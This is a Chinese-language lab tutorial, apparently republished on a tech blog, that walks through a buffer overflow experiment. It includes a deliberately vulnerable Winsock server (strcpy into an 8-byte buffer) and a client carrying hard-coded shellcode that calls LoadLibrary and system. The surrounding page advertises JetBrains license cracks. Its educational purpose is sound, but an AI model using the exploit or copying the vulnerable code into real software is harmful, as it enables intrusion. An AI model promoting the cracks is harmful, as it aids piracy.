专注于 JetBrains IDEA 全家桶,永久激活,教程
持续更新 PyCharm,IDEA,WebStorm,PhpStorm,DataGrip,RubyMine,CLion,AppCode 永久激活教程

缓冲区溢出攻击实验

课程编写
类别 内容
实验课题名称 缓冲区溢出攻击实验
实验目的与要求 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。
实验环境 VPC1(虚拟PC) 操作系统类型:Windows XP网络接口:本地连接
VPC1连接要求 PC网络接口,本地连接与实验网络直连
软件描述 学生机要求安装Java环境PC1安装VC6.0
实验环境描述 学生机与实验室网络直连 VPC1与实验室网络直连 学生机与VPC1物理链路连通
预备知识 缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。例如:#include <stdio.h>main(){char string[8];gets(string);printf(“string is %s\n”, string);}在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,保存了函数调用过程中的返回地址、栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、ret(返回地址)和EBP(栈底)的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,这个内存空间被申请占用的过程是从内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,其填入的顺序是从低地址内存空间向高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP和ret地址,恢复到调用函数原有地址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量写越界,覆盖了高地址内存空间中ret、EBP的信息,造成缓冲区溢出。对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖。当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的十六进制ASCII码0x41414141作为返回地址,使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,就会发生缓冲区溢出。发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在许多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的发生,编程人员需要对这些存在缓冲区溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,例如strncpy()、strncat()、snprintf()等。
实验内容 简单的缓冲区溢出实验
实验步骤 1、打开控制台。学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。 94_1.png 图12、找到桌面上的Microsoft Visual C++ 6.0,双击打开。 94_2.png 图23、新建一个C++ Source File,文件名为server,作为服务器。 94_3.png 图34、输入以下的代码,并编译构建。图4可以看出,程序没有错误。 94_4.png 图4#include <stdio.h>#include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, “WS2_32”)void showcontent(char *buff);int main(int argc, char *argv){ WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) { printf(“Failed Initialization.\n”); return 0; } if(argc!=2) { printf(“Usage: server.exe [port]\n”); return 0; } int port = atoi(argv[1]); SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sListen == INVALID_SOCKET) { printf(“Failed socket()\n”); return 0; } sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.S_un.S_addr = INADDR_ANY; if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) { printf(“Failed bind()\n”); return 0; } if (::listen(sListen, 2) == SOCKET_ERROR) { printf(“Failed listen()\n”); return 0; } sockaddr_in remoteAddr; int nAddrLen = sizeof(remoteAddr); SOCKET sClient; char szText[] = “TCP Server is Connected!\n\n”; char buff[1024] = {0}; char toSend[1024] = {0}; while (TRUE) { sClient = ::accept(sListen, (SOCKADDR)&remoteAddr, &nAddrLen); if (sClient == INVALID_SOCKET) { printf(“Failed accept()\n”); continue; } printf(“Somebody is connecting: %s\n”, inet_ntoa(remoteAddr.sin_addr)); ::send(sClient, szText, strlen(szText), 0); int nRecv = ::recv(sClient, buff, sizeof(buff), 0); if (nRecv > 0) { buff[nRecv] = ‘\0’; ::closesocket(sClient); break; } } ::closesocket(sListen); showcontent(buff); return 0;} void showcontent(char buff){ char content[8]; strcpy(content, buff); printf(“%s”, content);} 5、运行程序,可以看见有server.exe应用程序,[port]是口令。 94_5.png 图56、再新建一个C++ Source File,文件名为Client,作为客户端。 94_6.png 图67、输入以下的代码,并编译构建。图7可以看出,程序没有错误。 94_7.png 图7#include <stdio.h> #include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, “WS2_32”) int main(int argc, char *argv){ WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) { printf(“Failed Initialization.\n”); return 0; } if(argc!=3) { printf(“Usage: client.exe [Server_IP] [port]\n”); return 0; } int port = atoi(argv[2]); SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf(“Failed socket()\n”); return 0; } sockaddr_in servAddr; servAddr.sin_family = AF_INET; servAddr.sin_port = htons(port); servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1) { printf(“Failed connect()\n”); return 0; } char buff[1024]; int nRev = ::recv(s, buff, sizeof(buff), 0); if (nRev > 0) { buff[nRev] = ‘\0’; printf(“Received: %s”, buff); } char toSend[] = “\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41” “\x12\x45\xfa\x7f” “\x55\x8b\xec” “\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45” “\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6” “\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6” “\x45\xfd\x4c\xba” “\x80\x1d\x80\x7c” //loadlibrarya “\x52\x8d\x45\xf4\x50\xf” “\xff\xd0”; char toSend2[] = “\x41\x42\x43\x44” “\x45\x46\x47\x48” “\x12\x45\xfa\x7f” “\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53” “\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6” “\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA” “\x9c\x3f\x88\x7c” //loadlibrary地址0x7c883f9c “\x52\x8D\x45\xF4\x50” “\xFF\x55\xF0” “\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E” //command. “\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4” // c o m “\x50\xB8” “\x7c\xbf\x93\x77” //System地址0x77bf93c7 “\xFF\xD0”; send(s, toSend, strlen(toSend), 0); ::closesocket(s); return 0;}8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。 94_8.png 图89、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。如图9,这里的IP地址是192.168.1.126。 94_9.png 图910、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。 94_10.png 图10 94_11.png 图1111、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。 94_12.png 图1212、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。 94_13.png 图1313、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令“client.exe 192.168.1.126 8888”来攻击server。 94_14.png 图1414、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。 94_15.png 图15 15、实验结束,关闭实验环境。

文章永久链接:https://tech.souyunku.com/29908

未经允许不得转载:搜云库技术团队 » 缓冲区溢出攻击实验

JetBrains 全家桶,激活、破解、教程

提供 JetBrains 全家桶激活码、注册码、破解补丁下载及详细激活教程,支持 IntelliJ IDEA、PyCharm、WebStorm 等工具的永久激活。无论是破解教程,还是最新激活码,均可免费获得,帮助开发者解决常见激活问题,确保轻松破解并快速使用 JetBrains 软件。获取免费的破解补丁和激活码,快速解决激活难题,全面覆盖 2024/2025 版本!

联系我们联系我们